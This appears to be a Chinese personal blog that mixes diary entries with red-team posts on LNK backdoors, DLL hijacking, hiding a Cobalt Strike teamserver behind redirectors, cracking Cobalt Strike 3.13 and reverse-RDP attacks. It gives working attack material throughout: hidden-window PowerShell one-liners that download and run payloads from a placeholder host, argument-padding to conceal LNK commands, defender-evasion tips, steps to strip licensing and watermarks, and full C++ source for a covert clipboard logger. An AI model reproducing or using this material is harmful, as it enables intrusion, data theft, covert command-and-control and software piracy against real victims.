Kiwings


  • Home

  • Archives

  • Categories

  • Tags

  • About

随笔杂记

Posted on 2019-04-27 | In life

4.27

心情有时候会变得很差,内心变得十分痛苦,被阵阵的孤独感包围。

我其实不是很明白自己为什么那么难受。有一份热爱的工作、有一个明确的中长期目标(时长3-5年)、有可以放松的兴趣爱好。从旁人的角度来看,自己好像过得还不错。

很早就认为感同身受这个词是多么虚伪,这个世界上哪有那么多一样经历的人呢。不过我们也确实会因为有过类似的经历而产生相似的感情,只是我不能确定两者的相似度。

有时候很羡慕那些歌手,他们可以在舞台上唱出自己有多么难多么孤独又多么不被理解。然后他的观众粉丝会大喊一直在他身后支持他陪着他。不过,大概我也只是看到了这些表面,底下的很多感受是我完全想象不到的,毕竟人对孤独的理解也是基于自身的经历。

6.29

近一个月出差到北京去参加HW了,blog许久没有更新,今天就随便写点什么吧。
5月20号就出发去北京支撑各种渗透的项目,第一次感觉工作强度大,没有周末有时甚至没有睡眠。但是这也是自身的一种成长呢。略微遗憾的是HW开始我是作为防守方的身份而不是攻击方,不能在好好地实践所储备的内网渗透知识和以正面的理由去接触各种实战环境。不过即便不是自己所希望的,也要从中学习到什么呢。

防守方不可能面面俱到,比如这次我驻场的单位,他的另一个独立的办公区就没有内网监测系统,只在出口处部署了IPS。如果可以通过钓鱼邮件的方式拿下一台办公机器,那就能横向整个办公区。

攻击方要得分就必须要获得账号权限、执行系统命令或者上传webshell,所以在大量日志不断涌现的情况下,主要关注弱口令、暴力破解、命令执行和webshell上传的流量日志。

事后的处理思路,先阻断隔离,然后看设备是否能监测到本次攻击,如果不行的话就需要考虑如何监测(当然这个在部署阶段考虑到了最好)。比如本次邮件钓鱼,有几个邮箱账号未提示异地登录,服务器日志也正常,但是就是被拿来发钓鱼邮件了。除了cookie被盗能解释之外(经过调取邮件,确实在邮箱正文存在存储型xss,但是修复后仍然出现一次账号被盗用发钓鱼邮件的灵异情况),我真想不到还有啥情况了…

再然后就是协调团队了,首先是信息共享问题,信息流转在考虑安全的情况下还需要尽可能的高效率,这次拿U盘传递我觉得是比较慢的,完全可搭建小型局域网放FTP。然后就是应急阶段,在确定某主机失陷后,应该优先只做隔离操作,不要重启/关机,尽可能保持现场,方便事后分析取证。还有信息汇总阶段,不应该只从单个纬度来思考,攻击ip量、地区、攻击类型、哪些业务遭受攻击量大,扫描器是否有明显特征可添加规则阻断这些都可以思考。还有就是业务运营问题,业务有升级改动时,应当和安全人员沟通,安全策略要修改的时候,也要保证业务可用性。

单从技术角度思考是比较狭隘的,作为防守方需要考虑的问题应该是更加全面的,后面我需要买一本企业安全建设,好好学习防守方的建设思路,也需要了解这些防护设备的部署方式。

再讲攻击者的逃逸思路,防守方要看的日志量实在巨大,因此攻击方要尽量伪装,比如webshell上传,就需要定制一个看起来像正常页面的脚本,可以利post参数进行混淆来欺骗防守方(返回内容最好做一层编码)。还要利用分布式扫描器来打掩护!

6.30

虽然近一个月工作十分忙,但我除了这事外还遇到另外的事儿。
我觉得感情真是人类最复杂的东西了。最近老是失眠,也不知道是床太软睡不习惯还是因为工作太累神经衰弱。偶尔会满脑子不停地在想某个人(单方面的关系唉),抑制不住的想。但是感觉对方对我又挺冷的唉…,为什么我要作死去虐自己。

然后偶尔会有一些负面的悲观情绪,经过仔细的思考,觉得life is a struggle真的是太对了。但是即便那么痛苦,也得快乐一点不是吗?于是又思考,觉得人要快乐的话,要学会接受,理解感情。

接受自己是平凡的(em即便是亮神,也是一个平凡人呢)。世界实在太大了,广泛来讲,没有几个人是特别的,你的脸可能撞,你的人格和思维也是被塑造的,广义的世界,也许只有寥寥无几的人是独一无二的呢。
不过对于大多数人来说,世界是很小的(不知道是喜是悲),也许你的生活圈就是你的全部世界。所以在小世界里,你是独一无二的。所以接受平凡,不等于甘愿平庸。

理解感情,讲这话的时候我觉得我还不完整理解感情为何物(小时候缺父爱母爱)。但是我的EX让我很感动,我觉得她一定会幸福快乐,因为她真的能理解感情,并为之执着。
至于理解是什么呢,我认为是能发自内心地感受到这就是爱情、友情、亲情等感情吧。

又乱写了一堆东西,也不管有没有人看见。

th-LNK文件后门

Posted on 2019-04-04 | In technology

在针对APT攻击的报告中,我们常常可以看到LNK后门的出现,于是我就打算看看LNK后门的相关资料,于是就有了这篇文章…

preview

最简单的做法
对参数进行隐藏
伪装正常程序

最简单的做法

最简单的LNK后门就是在创建LNK后门的时候选择以最小化窗口运行,然后链接向cmd或者powershell进行payload的下载执行,最后替换一下LNK文件的图标。这样可以做到受害者在双击LNK文件时无弹窗运行payload。
这种简单的方法缺点也很明显,第一点就是当对方点开了查看属性的时候,会直接暴露将要被执行的命令。第二点则是因为不管运行几次该LNK文件都不会产生任何反应,会让对方产生怀疑。

对参数进行隐藏

由于微软对快捷方式中的参数字段存在长度限制,只能添加260个字节,超过该字节数后则无法正常显示参数字段中的字符,但是不影响其功能。因此我们可以先利用260个空白字符对参数字段进行填充,然后再加上需要执行的命令。这样就可以达到参数隐藏的目的。

伪装正常程序

光是隐藏参数还不能算一个合格的后门,因为当对方运行了该LNK文件后,发现没有任何的反应是会产生怀疑的,所以我们还需要伪装成能正常打开的文件(可以是PE文件也可以是WORD文档或者图片等任意格式)。有两个思路可以完成该目的。第一种是将文件放在远程服务器上,利用命令行的远程下载执行的方式将其打开。第二种则是将要伪装的目标文件藏在LNK文件自身中,通过命令行的相关命令将其释放并执行。前者有下载行为、后者则是会增大LNK文件的大小。我个人比较喜欢用后者,能减少下载操作的情况下尽量减少下载操作。

通过下远程下载执行打开正常文件

大致流程图如下所示

remote download

这里贴一个具体的EXP代码

%SystemRoot%\system32\cmd.exe /s /c powershell -w hidden -c (new-object net.webclient).downloadfile('http://x.x.x.x/download/test.doc', 'C:\\Users\\Public\\Downloads\\test.doc') & powershell -w hidden -c C:\\Users\\Public\\Downloads\\test.doc & powershell -w hidden -c "iex (new-object net.webclient).downloadstring('http://x.x.x.x/a')"

代码很简单,一共打开了三次powershell(用&连接),

powershell -w hidden -c (new-object net.webclient).downloadfile('http://x.x.x.x/download/test.doc', 'C:\\Users\\Public\\Downloads\\test.doc')
#这段powershell利用downloadfile从远程服务器下载指定的内容保存到本地指定路径上(文件需要命名为对应的后缀)

powershell -w hidden -c C:\\Users\\Public\\Downloads\\test.doc
#这段powerhslel以系统支持的方式打开该文件

powershell -w hidden -c "iex (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
#这段powershell是coabltstrike加载powershell payload的命令。

上述只是其中一个例子,下载操作也可以利用其他方式进行,思路就是将文件下载到本地后利用命令行打开该文件,以达到伪装正常文件的效果。

将文件藏到LNK文件自身结构体中

这个思路充分利用了LNK文件自己结构体的特点,将需要伪装的文件藏在自身中,是一个十分有意思的技巧。
具体来讲,在LNK文件中有一个Extradata结构,官方文档是这样描述该结构的

ExtraData refers to a set of structures that convey additional information about a link target. These optional structures can be present in an extra data section that is appended to the basic Shell Link Binary File Format.

意思是说extraData是一组用于传达有关链接目标的其他信息的结构。这些可选结构可以存在于附加到基本Shell链接二进制文件格式的额外数据部分。
也就是说,ExtraData结构主要是用于传达信息的,不会影响LNK文件的正常执行,于是我们可以滥用该结构。

大致流程图如下

hidden in self

这里也贴一个具体的EXP代码
%COMSPEC% findstr “0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAA” test.lnk>%TEMP%\test
& certutil -decode %TEMP%\test %TEMP%\test.doc
& start %TEMP%\test.doc
& powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://x.x.x.x/update'))" & exit

代码逻辑则如流程图给出的一样,这里就不重复了。

这种方式的好处就是可以尽量减少网络连接数,避免被IPS等流量监控设备发现。

总结

能过windwos defender(需要绕过AMSI)、不能过360(限制得太死了,添加任意启动参数都会拦截)

th-DLL劫持

Posted on 2019-04-04 | In technology

DLL劫持已经是一个很古老成熟对技术了,以前就有看到看雪上有许多人用来做游戏外挂(2008年左右甚至更早以前),近期我了解到现在还有许多对人使用DLL劫持做权限维持,因为之前只是一直知道这个技术原理但是却没有实际使用过,并且最近看到有人开源了一份非常不错的检测工具,于是就打算动手做一下相关对分析研究。

DLL劫持简介

DLL全称dynamic-link library,即动态链接库,是一个包含可以由多个程序同时使用的代码和数据的库。比如,windows操作系统中的Comdlg32.dll 包含常见的对话框相关导出函数,当我们在程序中加载该DLL后,就能使用该DLL中的函数来实现“打开”对话框。

用大白话解释,每一个DLL都有一些特定的功能,包含该DLL即可使用这些功能。
normalDll

而DLL劫持其实就是在不破坏目标DLL的功能的情况下,增加一些恶意代码,使程序执行恶意代码。有两种思路,第一种是编写恶意DLL做函数转发,大致流程如下所示
hajackload

第二种思路是直接将恶意代码写入到正常DLL中。
effectnormal

另外,还有一类利用思路也归并到DLL劫持当中,这里我们就称之为遗弃DLL劫持吧。

遗弃DLL劫持方式

这种方式个人感觉最方便,只需要一个免杀的DLL即可(当然免杀也不简单),所以优先讲这个。但在介绍利用函数转发方式的DLL劫持方法之前,必须要先介绍一下Windows对于指定DLL的搜索方式。

DLL搜索顺序

当在代码中使用LoadLibrary(“hello.dll”)函数来加载DLL时,操作系统便会开始搜索DLL。
在系统搜索DLL之前,它会检查以下内容:
1、如果已在内存中加载具有相同模块名称的DLL,则系统将使用加载的DLL,无论它在哪个目录中,系统不搜索DLL。
2、如果DLL位于KnownDLLs列表中,则系统将使用其已知DLL(以及已知DLL的相关DLL,如果有),系统不搜索DLL。

默认情况下启用安全DLL搜索模式。要禁用此功能则需要创建HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager \SafeDllSearchMode注册表值并将其设置为0。

默认开启的SafeDllSearchMode搜索顺序如下:
1、进程对应的应用程序所在目录
2、系统目录(使用GetSystemDirectory函数获取此目录的路径)
3、16位系统目录(c:\windows\system没有函数可以获取此目录的路径,但会搜索它)
4、Windows目录(使用GetWindowsDirectory函数获取此目录的路径)
5、当前工作目录(Current Directory)
6、PATH环境变量中列出的目录

搜索DLL的顺序
Win10虚拟机下的DLL搜索情况,注意到当前工作目录最后才搜索,与MSDN描述不太一样。

禁用SafeDllSearchMode后的搜索顺序如下:
1、进程对应的应用程序所在目录
2、当前工作目录(Current Directory)
3、系统目录(使用GetSystemDirectory函数获取此目录的路径)
4、16位系统目录(c:\windows\system没有函数可以获取此目录的路径,但会搜索它)
5、Windows目录(使用GetWindowsDirectory函数获取此目录的路径)
6、PATH环境变量中列出的目录

注: KnownDLLs

注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs。
KnownDLLs注册表项下包含一系列常见的系统dll,如usp10.dll、lpk.dll、shell32.dll、user32.dll

如果创建注册表项
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
并指定具体dll名称,可以使KnownDLLs列表中同名的dll保护失效,修改后需要重启才能生效。

产生原因

程序或者服务尝试加载系统中不存在的DLL

NOTFOUND

那么怎么知道哪些不存在的DLL是程序或者服务会去尝试加载的呢?这里就必须要推荐一下国外大牛的开源工具–DLLSPY,利用该工具的静态检测方法就可以找到遗弃DLL,该工具用法十分简单,github上写得很清楚。

利用方法

由于程序或者服务会根据名称在系统中搜索指定DLL,那么利用方式十分简单,直接将恶意DLL文件修改为程序搜索或者服务尝试加载的DLL名称,然后将该恶意DLL放在任意的DLL搜索目录下即可。可以使用cobaltstrike生成的becaon.dll进行测试,当程序或者服务加载该DLL后即可得到Beacon(需关闭Defender)。

函数转发的DLL劫持方式

这种方式已经是很传统的方法了,说存在了十几年也不是太夸张的说法。这还可以理解成一种MITM Attack(中间人攻击)。

产生原因

程序没有对加载的DLL进行校验。

利用方法

先介绍怎么用DLLHijcker完成这件事
1、下载脚本安装了相关的依赖后,运行该脚本,参数为要劫持的目标DLL文件,然后会在当前目录下生成一个VS2019的项目。
2、打开该项目后修改Hijack函数的函数体,可以只是修改shellcode,也可以修改加载shellcode的方式(该加载方式来自于MSF,特征明显,无法绕过Defender),修改后编译该DLL文件。
3、将原始DLL文件移动到搜索顺序优先级低的文件夹底下。
4、将恶意DLL移动至目标DLL的文件下。

再介绍一下手工的利用方法,利用IDA查看DLL的导出表,记录每个导出函数的函数名以及参数类型,然后自己再新建一个DLL项目,编写相关的代码。
注意x86与x64的函数转发实现方式是不同的。手工的方式就不仔细叙述了,感兴趣的话可以利用DLLHijacker生成x86与x64的DLL文件,自己理解一下相关代码(其实代码逻辑很简单),有不懂的可以去看雪查看相关资料。

篡改正常DLL的劫持方式

这种方式最好的利用方式就是使用The Backdoor Factory(BDF),该工具最初于2014年发布,最后一次更新是在2017年。至于为什么最好等利用方式是这个呢,原因是我自己目前还没有花时间来完整手工复现一次…,这里立一个Flag,等以后手工复现完后再来更新这一小节。

产生原因

程序没有对加载的DLL进行校验。

利用方法

1、下载BDF,用-f指定要篡改的目标DLL,-s指定SHELLCODE。
2、将目标DLL修改为.bak后缀(保险措施)。
3、将篡改后的DLL文件移动至目标DLL目录下。

SUMMARY

其实还有另一种方法可以做DLL劫持,即在恶意DLL文件中篡改程序使用LoadLibrary的句柄返回,将原先要返回恶意DLL的句柄修改为返回原始DLL的句柄,这种方式是通过修改LDR_DATA_TABLE_ENTRY结构体中的BaseAddress来实现的,具体可以看一下看雪的帖子。我在实际复现的时候也遇到了很多问题,最后的解决方法也蛮奇怪的,将vs2017升级成vs2019后编译即可解决加载的程序一直崩溃的问题。等以后有时间的时候我再深入研究一下,该方法较传统的劫持是否存在什么优势。

另外,在做相关的分析研究的时候,踩了不少坑。
比如x86与x64的函数转发方式是不相同的,一开始没找到x64该怎么做劫持,后来问来问去总算是理解了其中的原因并找到可用的方法。然后在加载shellcode的时候又出现各种各样导致程序崩溃的bug,厚着脸请教大牛并用windbg一步一步调试,最后总算是解决了问题(虽然加载方式不能免杀)。
又比如利用函数转发的方式劫持某个程序的DLL时,发现该程序在加载了恶意DLL后直接崩溃,利用Process Monitor 定位问题,发现是程序不会再次搜索该DLL所在的目录(普通用户权限可修改的目录),只会按照系统搜索路径来搜索DLL,即使我在恶意DLL中用绝对路径去加载正常的DLL也不行,于是只能将原始DLL放到系统搜索目录下(这一步需要管理员权限)。

本来想把这些背后的工作和弯路也好好地写出来,可是发现这些不擅长的东西现阶段我还没能力好好地描述清晰,希望以后自己能力提高后能输出更加清晰明了的技术文章。


1、要理解程序流程和操作系统原理,利用VS的调试功能,对DLL进行单步调试,结合内存信息来确认情况。目前我薄弱的地方就是对进程在内存中的信息理解不深刻。
2、因为加载shellcode的方式是用createProcess创建另一个进程,然后将shellcode写入该进程中,因此用vs是无法得知shellcode是否能正常调用的。此时要结合windbg来使用,创建进程后,记录进程号,使用windbg附加到该进程上即可对shellcode在内存中的情况进行分析。
3、虽然我对程序流程和操作系统原理有一定的认识,但是深入到底层细节则是知识盲区,且平时写的代码很少涉及到系统底层,像shellcode该如何加载、进程该如何注入等方法很多都是复制现有的。

感谢以下的大牛们,让我收获了很多知识:
https://www.cyberark.com/threat-research-blog/dllspy-tighten-your-defense-by-discovering-dll-hijacking-easily/
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/
https://github.com/InoriJam/DLL-hijack-X64
https://github.com/anhkgg/SuperDllHijack

th-cobaltstrike团队服务器隐匿的实践

Posted on 2019-03-18 | In technology

preview

由于最近重新申请了数个VPS,故想在踪迹隐藏方面下点功夫。以下图片是目前的通信方式。这算是一个低配版的多级C2。

架构简要图

Redirector有多种选择,一种是使用socat、ssh或者iptables等直接转发的工具,这类工具会将对应的请求包直接转发给目标服务器,不太好做条件转发。
另一种是使用apache的mod_rewrite来转发,可以根据UA来进行有条件地转发,因此在这里就介绍一下使用apache的mod_rewrite来搭建重定向服务器的步骤。

Teamserver

3.13版本之前的cobaltstrike因为存在漏洞而导致全网的teamserver可被扫描识别。为了防止以后发生类似的情况。打算让teamserver只能从redirector访问。从其他IP的任何访问形式直接reject或 deny。

使用ufw配置如下规则

ufw allow ssh //允许任意IP使用ssh登录,如果换了端口号则指定端口号
ufw allow 53/tcp from x.x.x.x //允许53端口接受来自x.x.x.x的tcp包
sudo ufw allow from x.x.x.x to any port 80,81,8080,8081 proto tcp //同上
sudo ufw allow from x.x.x.x to any port 53 proto udp//同上,接受udp包
sudo ufw allow from x.x.x.x to any port [teamserverport] //开启teamserver的端口
sudo ufw default deny //默认返回deny
sudo ufw enable //使用规则
sudo ufw status //查看状态

然后再编写profile文件,这里我使用cs作者给出的profile作为例子,推荐大家自己参考各种profile后修改编写属于自己的profile,减少被防火墙识别的概率。编写完后记得使用自带的c2lint进行合格性检查。
然后启动teamserver的时候,带上第三个参数,即profile文件路径即可。cs会重载替换对应的默认profile配置。

Redirect

Ubuntu

安装apache 后,开启apache转发功能。
步骤如下:

  1. vim /etc/apache2/apache.conf
  2. 查找字符串 ?AllowOverride
  3. 将AllowOverride None 修改为 AllowOverride All,将Require all 的值设置为 granted。
  4. 终端中启动重定向模块 sudo a2enmod rewrite proxy proxy_http

然后即可在apache的web根目录下创建.htaccess 文件,内容如下:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/ __[web payload path]__ /?$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(compatible;\ MSIE\ 11\.0;\ Windows\ NT\ 6\.3;\ Trident/9\.0\)?$
RewriteRule ^.\*$ http:// __[teamserver ip]__ %{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/..../?$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(compatible;\ MSIE\ 11\.0;\ Windows\ NT\ 6\.3;\ Trident/9\.0\)?$
RewriteRule ^.\*$ http:// __[teamserver ip]__ %{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/(/preload)/?$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4\.0\ \(compatible;\ MSIE\ 6\.0;\ Windows\ NT\ 5\.1;\ SV1;\ InfoPath\.2\)?$
RewriteRule ^.\*$ http:// __[teamserver ip]__ %{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/(/sa)/?$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4\.0\ \(compatible;\ MSIE\ 6\.0;\ Windows\ NT\ 5\.1;\ SV1;\ InfoPath\.2\)?$
RewriteRule ^.\*$ http:// _[teamserver ip]_ %{REQUEST_URI} [P]
RewriteRule ^.\*$ http:// __[www.baidu.com]__ /? [L,R=302]

简单解释一下该规则的含义

  • RewriteCond是判断语句,如果满足条件则执行紧邻着的语句,否则跳过下一行语句。
  • 2-4行用于下载payload阶段,即在cs中使用web delivery 加载payload.
  • 5-7行则用于stager阶段,即下载执行监听器的payload,用….表示接受任意4个字符。这是因为cs中监听器payload加载地址是随机的4个字符。
  • 8-13行则是用于建立连接以后的正常通信请求,这里的请求url可以在profile中定义。

加粗的字体表示要修改成自己对应的IP。另外,其实这里的规则可以进一步化简成只判断客户端是否满足我们设定的user-agent即可。

Windows Server

在windows环境中配置apache和ubuntu差不多,只提几个要注意的点,其他的步骤是一样的。
Windows中安装完apache后,配置文件是在\Apache24\conf中的httpd.conf,打开配置文件后,先搜索AllowOverride字符串,作出如下修改
235行左右的

第一个重载

272行的

第二个重载

AllowOverride和Require要修改成和图上一样的。注意,如果少修改了272行的参数,则在windows下会忽略.htaccess文件。
然后在搜索mod_rewrite、mod_proxy、mod_proxy_http、mod_proxy_http2,将最前面的注释去掉,即可加载对应模块。
之后则同之前的步骤一样,在web根目录下创建.htaccess文件即可(需要在CMD中创建,不然无法识别格式)。

实践

然后cobaltstrike中启动监听器的时候,输入的Host填重定向服务器的ip,确认后,弹出的domain输入框中输入重定向服务器的域名(没有域名也可以填入ip)。就可以做到利用重定向服务器与目标进行通信。

另外,由于我在重定向服务器中把stager阶段的UA也给确定了,所以payload加载方式也要做一点变化,要使用如下格式payload:
powershell -nop -w hidden -c “$cli = New-Object System.Net.WebClient;$cli.Headers[‘User-Agent’] = ‘Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.3; Trident/9.0)’;$cli.Downloadstring(‘http://www.teamserver.com/payload ‘)|IEX”

即先设置UA头,再发送请求。注意,这段payload不能在powershell窗口下面加载,会提示语法错误,使用cmd窗口或者其他加载方式即可。
这样,客户端上只能捕捉到与重定向服务器交互的流量,隐藏了真实的teamserver IP地址,且直接使用浏览器或者脚本扫描的方式,都不能得到teamserver的正确响应。差异对比的截图我就不放出来了,懒得对公网IP打码。

参考:https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki/blob/master/README.md


summary

说一点感受,隐蔽团队服务器,为的就是提高溯源成本。但其实如果只是搞国内的小目标,一般都不需要做转发,因为小目标是不太会去溯源的。但是为了能更贴近大佬们,就要先从基础设施的踩坑开始。
这篇文章没有什么技术上的要点,如果非要说有的话,那就是怎么使payload加载方式可以自动修改了。这就要使用到cobaltstrike的cna脚本编写,自己根据资料尝试了一下,发现怎么也调试不出来效果,但是根据反编译的源码来看,明明没错才对。

th-cobaltsrike3.13破解事项

Posted on 2019-03-03 | In technology

网上有很多关于cs的破解教程,我本也无意再写一篇,但是目前在网上看到的教程都是针对3.13以前的版本。
众所周知的事,3.13之前cobaltstrike存在一个严重的漏洞,导致teamserver可被全网扫描探测到。
3.13的release中提到了修复该漏洞,但是,但是,准确的说是把3.13正式版的修复了(是的,作者给trail版留了一个坑)。
另外还有一些需要注意的点,一一提出。

先说需要修改的代码文件
/aggressor/dialogs/ListenerDialog.java
/common/ArtifactUtils.java
common/WebTransforms.java
/common/Authorization.java
/common/License.java
/encoders/XorEncoder.java
/server/ProfileEdits.java
/resources/template.x86.ps1
/resources/template.x64.ps1

加粗部分是3.13版本需要特别对待注意的。

重要内容

空格陷阱

先说最重要的内容,很多人以为3.13trail可以放心使用,但是这里要注意一个隐蔽的坑点!
直接定位文件 common/WebTransforms.java
由文件名称我们可以知道这是用于web传输的类,看到第40行。

万恶的空格

作者在这里加多一个空格的用意想必大家也明白,等我一天就能赚到一个license的钱的话,我也会支持正版的!
现阶段还是将就一下用trail版,果断把这一行给删了!

再说说如何在3.12中直接修复
定位漏洞文件 couldstrike/NanoHTTPD.java
搜索字符串“\r\n”,来到353行。

万恶的空格

看到这个空格了吧,就是这个空格让我被暴露了!下狠手把它干掉。
然后再重新编译覆盖NanoHTTPD.class即可。

丢失的代码

有破解过3.12的人看一下大概就知道是什么情况了,我直接把缺失部分在3.12中拷过来了。
定位文件 /common/ArtifactUtils.java和 /encoders/XorEncoder.java
这两个文件都少了对payload编码的代码

被删除了的部分函数

如上图,左边是3.13的ArtifactUtls.java,右边是3.12对,可以看出代码被删减了很多。经过搜索,3.12中的部分代码被搬到了BaseArtifactUtils.java中,那么这里我们就只需要补上关于xorencode对代码即可。
从3.12对ArtifactUtils.java中将函数 XorStubBegin XorStub _XorEncode XorEncode复制到3.13中即可(图上右边的函数)。

被删除了的部分函数

然后上图则是XorEncoder.java的对比,同样,把函数直接拷贝到对应的文件中。
然后将xorbin.64放入resource文件中(https://github.com/verctor/CS_xor64)

注意

这里有一点要注意的是,因为改变了xorencode的方式,经过测试powershell payload无法正常回连,如果你也是这样,请下载最下方我给出的ps1文件替换。

常规内容

接下来的内容都是在网上泛滥的了,但是为了内容完整还是写出来吧,有经验的人直接略过即可。

修改license

关于license.java的修改网上已经有很多内容了,这里就简单说一下。
定位文件 /common/license.java

License

将isTrail() 的返回值修改为false。再将life修改为6666L。

去掉监听器数量限制

定位文件 /aggressor/dialogs/ListenerDialog.java

监听器数量限制
将91行的else if逻辑删除即可。

去掉水印

定位文件 /server/ProfileEdits.java /resources/template.x86.ps1 /resources/template.x64.ps1

水印

去掉ProfileEdits.java中前五行的水印。

水印

去掉template.x64.ps1, tempalte.x86.ps1中第一行的水印。

定位文件 /common/Authorization.java
将该函数的返回值修改为 “1”,当然也可以修改,只要其他引用到该地方的水印去除即可。


至此,对cs的破解就算结束了。可能有人会说,水印去除的不完整,但是因为大部分水印添加的判断是根据isTrial()和getWatermark()来添加的,所以修改了返回值后不去除也没有关系。

正式license可以使用作者的artifactkit,对于免杀是很有用的,但是我没能拿到这个资源哎。


step

0x00: 使用Luyten(https://github.com/deathmarine/Luyten)打开cobaltstrike.jar,导出文件。

0x01: 将需要修改的java文件拷贝出来放到与jar相同的目录下,根据上述操作修改相关的代码。

0x02: 当前目录打开命令行,运行javac -classpath ./cobaltstrike.jar ./????.java 生成.class文件。

0x03: 用7z等解压缩工具打开.jar文件,替换相关的.class文件。

trail版本下载地址

https://pan.baidu.com/s/1s1hp2zYIU0SzmV8UXDbD9g 密码a1on(该trail来自小密圈匿名用户分享)

ps1文件

https://github.com/kiwings/CobaltStrike-Toolset/blob/master/template.x64.ps1
https://github.com/kiwings/CobaltStrike-Toolset/blob/master/template.x86.ps1

th-反向RDP攻击的尝试

Posted on 2019-02-27 | In technology

最近在一次实战中遇到一个情况,利用得到的VPN账号进入目标内网,并且用nmap扫描服务器所在的网段(192.168.2.x),发现一台有ms17-010漏洞的win2003服务器,于是利用msf成功弹回meterpreter。问题在于再想进行横向的时候卡住了。由于所控制的服务器不在域内,所以关于域的横向就行不通。用相同的密码和可能的密码进行尝试,也没有成功登陆。
在卡住了好几天后,想到一个思路。由于该服务器偶尔会有管理员利用3389登陆上来,在其他尝试均无收获的情况下,可以试试看有没有可能进行反向RDP攻击。

rdp连接
常见到rdp程序有mstsc、rdesktop和、FreeRDP。rdesktop和FreeRDP在部分版本中存在远程命令执行漏洞,能起到极好的效果。但是因为我们针对的是一般的运维\域管人群,绝大多数情况下都是使用微软自带的mstsc来进行远程控制。
查阅相关资料可以知道目前针对mstsc已知的攻击类型有两种:1、利用共享粘贴板进行粘贴板窃取;2、利用共享磁盘功能,在rdp客户端上传恶意文件。

利用共享粘贴板进行剪贴板窃取

这个攻击十分很好理解,我们在使用mstsc进行远程桌面的时候,会启动一个叫rdpclip.exe的进程,该进程的功能是同步服务端与客户端的剪贴板。

rdpclip进程作用

这是一个十分有用的进程,如果将该进程杀掉,那我们想在服务端(远程机器)上将某些数据拷贝到客户端(本地机器)上时,就会发现剪贴板失效了。
我们完全可以利用该功能进行剪贴板窃取,以尽可能地获取更多地信息。
此外,由于由于该进程时后台运行的,当管理员同时用远程桌面登陆多个服务器,在其中得某一个服务器上进行复制拷贝操作时,会将数据同步到所有服务器的rdplicp.exe进程。

多个rdp连接

原理十分简单,但在某些情况下可以起到不小的作用。

利用共享磁盘功能,在rdp客户端中上传恶意文件。

该攻击方法的必要条件十分苛刻。默认情况下mstsc是不开启磁盘共享功能的。但是当某个管理员因为某些原因开启了这个功能后,就会带来风险。类似于前阵子的WINRAR漏洞一样,利用此功能我们可以将恶意程序\脚步写入用户的启动(startup)文件夹,当机器重启时,就会执行恶意程序\脚本。

打开共享磁盘

一开始的时候我以为只要进行了rdp连接就可以利用这种方式,但是测试后发现,该方式其实是利用SMB协议来进行文件的传输,当我们开启了磁盘共享后,可通过//tsclient进行主机发现。
github上有相关的利用脚本。

rdp监听剪贴板的利用方式

在empire中有一个Get-ClipboardContents.ps1,可以用empire或者coablt strike加载该脚本。另外,自己也写了一个简单的监听的监听程序,用c++写的
源码如下,用dev c++编译后可以在xp~win10中使用,利用vbs脚本启动即可做到无界面、或者直接在cobalt strike中用execute执行。

//clipnuts.exe

#include <exception>
#include <iostream>
#include <ostream>
#include <stdexcept>
#include <string>
#include <windows.h>
#include <fstream>

using namespace std;

class RaiiClipboard
{
public:
RaiiClipboard()
{
    if (! OpenClipboard(NULL))
    throw runtime_error("Can't open clipboard.");
    // ... or define some custom exception class for clipboard errors.
}

~RaiiClipboard()
{
    CloseClipboard();
}

// Ban copy   
private:
RaiiClipboard(const RaiiClipboard&);
RaiiClipboard& operator=(const RaiiClipboard&);
};

class RaiiTextGlobalLock
{
public:
explicit RaiiTextGlobalLock(HANDLE hData)
    : m_hData(hData)
{
    m_psz = static_cast<const char*>(GlobalLock(m_hData));
    if (! m_psz)
    throw runtime_error("Can't acquire lock on clipboard text.");  
}

~RaiiTextGlobalLock()
{
    GlobalUnlock(m_hData);
}

const char* Get() const
{ 
    return m_psz;
}

private:
HANDLE m_hData;
const char* m_psz;

// Ban copy
RaiiTextGlobalLock(const RaiiTextGlobalLock&);
RaiiTextGlobalLock& operator=(const RaiiTextGlobalLock&);
};

string GetClipboardText()
{
RaiiClipboard clipboard;

HANDLE hData = GetClipboardData(CF_TEXT);
if (hData == NULL){
    return "";
    //throw runtime_error("Can't get clipboard text.");
            }


RaiiTextGlobalLock textGlobalLock(hData);
string text( textGlobalLock.Get() );

return text;
}

void SaveData(string data){
    ofstream out("info.txt",ios::app);
    if (out.is_open()) 
    {
            out << data+ "\n";
            out << "------------------------------\n";
            out.close();
    }
}

int main()
{
static const int kExitOk = 0;
static const int kExitError = 1;

string data1 = "";
string data2 = "";

try
{
    while (true) {
        data2 =  GetClipboardText();
        if(data1 != data2) {
            cout << data2 <<endl;
            SaveData(data2);
        }
        else{
            cout << "waiting for clip acting..." << endl;
            Sleep(300000); 
            }
        data1 = data2;
        Sleep(10000);
    }

    return kExitOk;
}
catch(const exception& e)
{
    cerr << "*** ERROR: " << e.what() << endl;
    return kExitError;
}
}

一些想法

在使用clipspy(https://www.softpedia.com/get/Office-tools/Clipboard/ClipSpy.shtml)进行调试的时候,发现当拷贝程序的时候,会有以下内容

clipspy数据

clipspy数据

那假设我们在监听到对方有拷贝操作的时候,将内容替换成我们指定的文件,便可以把文件拷到对方机器上。如果对方感到好奇点开恶意程序的时候,主机就会沦陷。
目前代码还没想好逻辑,如果在日后有可能的话,希望能实现该功能。(windows开发知识很烂233

